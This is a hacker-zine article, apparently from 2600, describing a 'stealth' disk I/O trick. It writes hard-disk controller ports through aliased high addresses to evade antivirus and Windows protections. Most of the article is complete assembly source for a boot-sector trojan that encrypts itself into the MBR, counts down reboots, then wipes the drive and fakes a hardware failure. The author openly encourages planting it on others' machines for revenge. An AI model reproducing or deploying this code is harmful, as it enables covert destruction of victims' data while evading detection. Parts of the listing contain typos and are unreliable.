Stealth Trojans

by Commander Crash

You upload a Trojan to a deserving lamer's BBS which simply uses BIOS calls to write random junk to his hard drive.  You call back a week later and his BBS is still up.  What gives?

It never fails, there is always another anti-virus program, or another environment that stops your Trojan dead in its tracks.  There are many things which could have caused your Trojan to have been detected.  Either your Trojan's activities are caught by an AV program, or it causes an exception error in a Protected Mode environment.  What is usually detected in both of these cases is disk I/O that seemed suspicious or shouldn't have been occurring.  In order to prevent such a thing from happening, it is necessary to use "Stealth" disk I/O.

In the early days of the XT, it was easy.  AV programs were far from commonly used, and simply calling DOS or BIOS interrupts was enough to do with your target's data as you pleased.  Soon, there were hundreds of viruses circulating around and it wasn't long before AV programs were widely used.  Most of these, however, relied on searching for a sequence of bytes which identified the virus.  This method worked reliably for most of the commonly known viruses once they were discovered, but wouldn't ever detect a home brew virus it didn't know.  No matter how many direct sector write BIOS calls it did, it would go undetected.  Getting back at a lamer by uploading a Trojan always worked.

Several years later anti-virus programs were developed as TSRs.  These programs would intercept any disk I/O and alert the user in the event of anything suspicious.  Things suddenly got much more difficult.  No longer is disk I/O possible with guaranteed invisibility from the user.  To add to this aggravation, Intel adds "Protected Mode" into its latest generation of processors.

Protected Mode was meant to be just that.  No program running in Protected Mode could ever get at something it wasn't supposed to.  The operating system was the highest level, and would dictate to the applications running under it what they could or could not do.  If an application wanted to write directly to the disk, it would have to deal with the operating system.  If an application tried to modify memory that didn't belong to it, it would also be denied access.  You can see why the future of the PC looked grim for virus writers.

Protected Mode was considered very virus unfriendly.  It would be easy for an operating system designer to prevent any virus from ever spreading under it without being detected.  Then Windows became the standard Protected Mode environment.  A Windows application doesn't have access to BIOS or DOS interrupts at all, so we are unable to do I/O at all using that method.

Windows also doesn't allow an application to directly access the disk using I/O ports without first dealing with Windows itself either.  Soon after its release, Windows AV programs detecting everything from INT 13h by DOS apps, to detecting undocumented calls to access the disk were released.  It seemed as if detection was inevitable if an AV program was used at all.

In order to hide your Trojan's activities from the computer, it is necessary to make your disk I/O's hidden from the entire system.  You can do this by using a technique I am about to describe called "Stealth" disk I/O.  By doing this, you not only hide yourself from these aggravating AV programs looking for suspicious disk access, but you also prevent Protected Mode operating systems such as Windows from stopping your program from getting at the hard drive.

Nothing will know that your program is even accessing the disk drive at all!

There is a security hole in Windows we will take advantage of to do this.  There is also an undesired feature in standard disk controller cards which will also be used.  Windows seems to have no problem giving applications full control of all ports which are unknown to it.  This was a big mistake on Bill's part.

But how does this help us?  Windows knows about ports 1F0h-1F7h, so clearly disk I/O using these ports will be noticed.  If an application tries any I/O to 1F0h, Windows knows you are poking around with the disk drives.

What about port 81F0h?  You can read and write to that port all you want, because Windows doesn't care.  Because Windows doesn't know what the hell port 81F0h is for!

If you try to do a write to port 81F0h, the processor will send the signals out on the bus telling all the cards that data is being written to port 81F0h.  Most cards, however, only look at the lower 16-bits of the address to see if they are being accessed.

What does this mean?  Our output to port 81F0h is magically transformed into an output to port 1F0h.  Does Windows know?  Nope.  As far as the processor sees, you just wrote to port 81F0h.  Pretty sneaky, eh?

There are ways which AV programs could be written to detect this, however, but none have been written as of yet.  What such a program would do is track all access to ports above FFFh, and would be installed in Windows as a virtual device driver.

To demonstrate a practical use of "Stealth" disk I/O, here is a sample Trojan using the technique.  It will work undetected in DOS or even in Windows with any AV program installed.  It uses two routines you can use in your own programs.  hdRW will write or read a buffer to a physical sector, and hdWait will wait for completion of the previous command to the hard drive.  Both of these routines use "Stealth" I/O, so they will not be detected.

BYE_BYE_BBS.asm:

; BYE_BYE_BBS By Commander Crash

; This Trojan horse demonstrates the use of stealth disk I/O techniques to avoid detection from Windows
; and all antivirus software.

; How it works:

; The actual Trojan is quite simple, and is designed to simply demonstrate one practical use of the
; stealth disk I/O routines. When this program is run, it installs encrypted boot sector code in the
; hard disk's boot sector after making a backup of the boot sector in sector 7. When the victim reboots
; his/her PC, it is loaded into 0000:7C00 in memory. The Trojan first decrypts itself into 8000:0000 and
; continues from there, effectively moving itself out of the boot area in memory. It then decrements a
; counter in the boot sector. If it hits 0, it then corrupts the drive. Any further attempts to boot
; simply display an error and shuts the HDD down. If the counter hasn't reached 0, the sector 7 is loaded
; from disk to 0000:7C00 (Good thing we got outta there) and control is given to it once again. The boot
; process then  continues normally.
        .MODEL tiny
        .STACK 200h

        HDDATA Equ 01f0h
        HDERROR Equ 01f1h
        HDPRECOMP Equ 01f1h
        HDSECTORS Equ 01f2h
        HDSECTOR Equ 01f3h
        HDCYLLOW Equ 01f4h
        HDCYLHIGH Equ 01f5h
        HDDRHEAD Equ 01f6h
        HDDCMD Equ 01f7h
        HDSTATUS Equ 01f7h
; Hard disk drive port definitions
        STEALTH Equ 08000h
; Stealth bit to use to hide disk I/O
        READ Equ 020h
; HDD commands (Read data)
        WRITE Equ 030h
; (Write Data)
        ON Equ 040h
; (Turn on HDD via read verify)
        OFF Equ 0E0h
; (Spin down HDD)
        SLEEP Equ 0E6h
; (Turn off HDD for good; at least till reset)

        .CODE
; Installer
        mov ax, cs
        mov ds, ax
; set up data segment
        mov es, ax
        mov di, OFFSET sectorData
        mov ax, 0
        mov bx, 0
        mov cl, 1
        mov ch, 1
        mov si, READ
        call hdRW
; Read in the old boot sector
        mov di, OFFSET sectorData
        add di, 401
        cmp BYTE PTR[di], ';'
; Look for ";)" Signature
        jne short nosig
        cmp BYTE PTR[di+1], ')'
        je short exit
; If we're already installed, exit

nosig:
        mov ax, OFFSET sectorData
        mov di, ax
        mov ax, 0
        mov bx, 0
        mov cl, 7
        mov ch, 1
        mov si, WRITE
        call hdRW
; copy the boot sector in sect 7
        mov di, OFFSET sectorData
        mov si, OFFSET bootProgram
        cld
        mov cx, OFFSET bootProgramEnd - OFFSET bootProgram
        rep movsb
; Copy our program into the boot data
        mov cx, OFFSET bootProgramEnd - OFFSET start
        mov di, OFFSET start - OFFSET bootProgram
        add di, OFFSET sectorData
        mov si, di

EncryptNextbyte:
        lodsb
        xor al, '*'
        stosb
        loop encryptNextByte
; Scramble part of the trojan
        mov ax, OFFSET sectorData
        add ax, 400
        mov di, ax
        mov [di], BYTE PTR 0Ah
; Counter in boot (10 times)
        mov [di+1], BYTE PTR ';'
        mov [di+2], BYTE PTR ')'
; Signature in boot
        mov ax, OFFSET sectorData
        mov di, ax
        mov ax, 0
        mov bx, 0
        mov cl, 1
        mov ch, 1
        mov si, WRITE
        call hdRW
; Write the new boot sector

exit:
        mov ah, 4ch
        int 21h
; Terminate the program

; Boot sector program
bootProgram:
; This is at 0000:7COOh
        cld
; loader
        mov ax, cs
        mov ds, ax
        mov si, OFFSET start - OFFSET bootProgram + 7C00h
        mov cx, OFFSET bootProgramEnd - OFFSET start
        mov ax, 8000h
        mov es, ax
        mov di, 0

decryptNextByte:
        lodsb
        xor al, '*'
        stosb
        loop decryptNextByte
; copy our code to 8000:0000
        DB 0EAh, 00h, 00h, 00h, 080h
; Jump to our code (jmp 8000:0000h)

start:
        mov ax, 09000h
        mov ds, ax
        mov di, 0
        mov ax, 0
        mov bx, 0
        mov cl, 1
        mov ch, 1
        mov si, READ
        call hdRW
; Read in our boot sector
        mov bx, 400
        cmp BYTE PTR [bx], 0
; Has our counter hit 0 already?
        je errMessage
; Yes? Show error message
        dec BYTE PTR [bx]
; No? That's 1 less time...
        mov di, 0
        mov ax, 0
        mov bx, 0
        mov cl, 1
        mov ch, 1
        mov si, WRITE
        call hdRW
; Save the new counter
        mov bx, 400
        cmp BYTE PTR [bx], 0
        je wipeDrive
; We just hit 0? WipeDrive
        xor ax, ax
        mov ds, ax
        mov ax, 07C00h
        mov di, ax
        mov ax, 0
        mov bx, 0
        mov cl, 7
        mov ch, 1
        mov si, READ
        call hdRW
; Read in the old boot sector
        DB 0EAh, 00h, 07Ch, 00h, 00h
; Jump to old boot sector @ 7C00h

errMessage:
        mov cx, 26
        mov si, OFFSET errText - OFFSET start
        mov ax, cs
        mov ds, ax

outLoop:
        mov ah, 0Eh
        mov al, [si]
        inc si
        mov bx, 0007h
        int 10h
        loop outLoop
; Show the error message
        mov dx, HDDCMD or STEALTH
; Shut the HD up.
        mov al, SLEEP
        out dx, al

lockup:
        jmp short lockup
; Freeze up the system

wipeDrive:
        mov ah, 08h
        mov dl, 080h
        int 13h
; Get drive parameters
        inc dh
        mov MAXHEADS, dh
        and cl, 01Fh
        inc cl
        mov MAXSECTS, cl
        mov bx, 0
; bx = cur cylinder
        mov cx, 0101h
        mov ax, 0100h

nextSect:
        mov di, 2600h
        mov si, WRITE
        push ax
        push cx
        push bx
        call hdRW
        cli
        pop bx
        pop cx
        pop ax
        inc oh
        cmp ah, MAXHEADS
        jne nextSect
        mov ah, 0
        inc cl
        cmp cl, MAXSECTS
        jne nextSect
        mov cl, 0
        inc bx
        jmp short nextSect

errText:
        DB 0Ah, 'HDD 0 controller failure', 07h
        MAXHEADS DB (?)
        MAXSECTS DB (?)

; hdWait

; Waits for the hard drive and controller to finish it's current task before returning.
        hdWait Proc Near
        push dx
        push ax

hdWaitLp:
        mov dx, HDSTATUS or STEALTH
        in al, dx
        mov ah, al
        and ah, 050h
        cmp ah, 050h
        jne short hdWaitLp
        and al, 080h
        cmp al, 080h
        je short hdWaitLp
        pop ax
        pop dx
        ret
        hdWait Endp

; hdRW

; Reads or writes a block of data to or from the hard drive
; DI - Buffer, AL - drive, AH - head ; bx - cylinder, cl - sector, ch - numsectors, si - read/write
        hdRW Proc Near
        call hdWait
        cli
; Leave me alone, other ints!
        shr al, 4
        or al, ah
        or al, 0A0h
        mov dx, HDDRHEAD or STEALTH
        out dx, al
; Set up drive_and head register
        mov dx, HDCYLLOW or STEALTH
        mov ax, bx
        out dx, ax
; Set up the cylinder registers
        mov dx, HDSECTOR or STEALTH
        mov al, cl
        out dx, al
; Set up sector register
        mov dx, HDSECTORS or STEALTH
        mov al, ch
        out dx, al
; # of sectors to xfer
        mov dx, HDDCMD or STEALTH
        mov ax, si
        out dx, al
; READ/WRITE
        call hdWait
        mov dx, HDSTATUS or STEALTH

drq:
        in al, dx
        and al, 08h
        cmp al, 08h
        jne drq
; Wait for data request
        cmp si, READ
        je readNextSector

writeNextSector:
; Write 256 words for 1 sector
        mov bl, 0FFh

writeNextByte:
        mov dx, HDDATA or STEALTH
        mov ax, [DI]
        out dx, ax
        add di, 2
        dec bl
        cmp bl, 0FFh
        jnz short writeNextByte
        dec ch
        jnz short writeNextSector
; Loop till done with all sectors
        jmp short exitRW

readNextSector:
        mov bl, 0FFh
; Read 256 words for 1 sector

readNextByte:
        mov dx, HDDATA or STEALTH
        in ax, dx
        mov [DI], ax
        add di, 2
        dec bl
        cmp bl, 0FFh
        jnz short readNextByte
        dec ch
        jnz short readNextSector
; Loop till done with all sectors

exitRW:
        sti
        ret
        hdRW Endp

bootProgramEnd:
        sectorData DB 512 DUP (?)
        end start
END

To install the program, simply run it on some lame PC.  It will copy an encrypted version of itself into the boot sector on hard drive 1.  The original boot sector is stored in sector 7.

When someone, such as a RadioCrap representative, reboots the machine, the Trojan program is decrypted into memory and run.  It will simply decrement a counter in the boot sector, and boot his machine as normal.  When this hits 0, look out!  The hard drive will be wiped clean, but you'll be long gone.

All attempts to reboot will result in the message "HDD controller failure" and the hard drive will be shut down.  The actual motor will be turned off to give that added effect that the data was destroyed by "just another hard drive crash."

If you accidentally run this program, you must replace your boot sector (physical sector 0) before you reboot 10 times, or you're in trouble.

The installer must be run under DOS (you can make a DOS boot disk to bring with you to the target) but it will work with any OS that happens to be running... UNIX, OS/2, etc.

One thing to note, adding 8000h to disk I/O instructions is not needed in Real Mode to do undetected disk I/O.  Most AV programs rely on capturing the INT 13h or the DOS interrupt vector to detect disk access.  Ports aren't even looked at.

Most people seem to be afraid of poking around with the disk controller directly, but there is nothing to it at all.  I guess AV software writers thought nobody would try direct disk I/O.  All that would have to be done is to write a program that searches for anything like out 1f4h, al in the EXE files on your system and alert the user.  A DOS program will not normally do anything like that, and a Windows program that does anything like that should never be run.  I guess it was too complicated for them to do.

BYE_BYE_BBS is just one of the many things one can do with "Stealth" I/O.  Does anyone use such techniques in viruses today?  As far as I am aware of, no.  And it's a good thing, seeing as how undetectable such accesses are with today's AV software.

If someone were to write a mutating stealth virus that used stealth disk I/O, it would be very difficult to detect, and us PC users would be in big trouble.  I hope you anti-virus programmers out there take this article as a warning, and add detection for this in your programs.

I also hope Microslut wakes up and learns what Protected Mode really means.  In the meantime, here's another way we can give those deserving lamers who cross us some payback!

If you work for an anti-virus software company, and would like some suggestions in adding "Stealth" detection to your software, you can leave a message in my 2600 mailbox.  Have phun, and be careful with this info!

Code: BYE_BYE_BBS.asm

Code: BYE_BYE_BBS.exe

Return to $2600 Index